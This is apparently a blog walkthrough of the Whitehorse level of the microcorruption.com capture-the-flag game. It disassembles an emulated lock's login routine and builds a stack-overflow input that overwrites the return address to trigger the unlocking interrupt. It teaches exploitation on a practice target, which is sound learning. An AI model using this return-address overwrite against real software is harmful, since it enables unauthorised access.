This is the tenth in a series. You might want to read the previous post before reading this.
This post is based on the Whitehorse level on microcorruption.com. Like last time, we’re trying to find an input to open a lock without knowing the correct password, using knowledge of assembly language.
login function here is mercifully short. Let’s read through it.
44f4: 3150 f0ff add #0xfff0, sp 44f8: 3f40 7044 mov #0x4470 "Enter the password to continue.", r15 44fc: b012 9645 call #0x4596 <puts> 4500: 3f40 9044 mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15 4504: b012 9645 call #0x4596 <puts>
Increase the size of the stack by 16 bytes, output some strings.
4508: 3e40 3000 mov #0x30, r14 450c: 0f41 mov sp, r15 450e: b012 8645 call #0x4586 <getsn>
Get input directly onto the stack, up to 48 bytes. That means our input can potentially be written beyond the current stack frame. Useful to know.
4512: 0f41 mov sp, r15 4514: b012 4644 call #0x4446 <conditional_unlock_door>
This passes the input to the function
conditional_unlock_door which then passes it to the lock, to check if it’s the right function.
4518: 0f93 tst r15 451a: 0324 jz #0x4522 <login+0x2e> 451c: 3f40 c544 mov #0x44c5 "Access granted.", r15 4520: 023c jmp #0x4526 <login+0x32> 4522: 3f40 d544 mov #0x44d5 "That password is not correct.", r15 4526: b012 9645 call #0x4596 <puts> 452a: 3150 1000 add #0x10, sp 452e: 3041 ret
Outputs some text to tell the user whether the door opened or not, then deallocate 16 bytes from the stack and return.
What happens next?
When the function returns, what will happen? Hopefully you’ll remember from before that it will return to the calling function, whose address is stored in the next 2 bytes up along the stack. And those are 2 bytes that we could overwrite with the 17th and 18th bytes of the string we input.
We don’t want to go to
conditional_unlock_door - that function just passes the password elsewhere, so it’s hard to exploit. The function it calls to do that is
INT - the hardware interrupt. It passes an argument of
0x7e, which tells the lock to open if the password is correct.
However, reading the manual, an argument of
0x7f will simply open the door. So we can force our function to return to
0x4532, so that the processor drops into the
INT function. How do we pass in the
Reading through the
INT function, it looks 2 bytes beyond the stack pointer for its argument. So the input we need, altogether looks like:
<16 bytes of anything><3245 (the address 0x4532 with bytes reversed)><4 bytes of anything><7f>
The door springs open
This is a more complicated stack overflow than we’ve seen before - we had to drop straight into the interrupt function and also pass it an argument on the stack.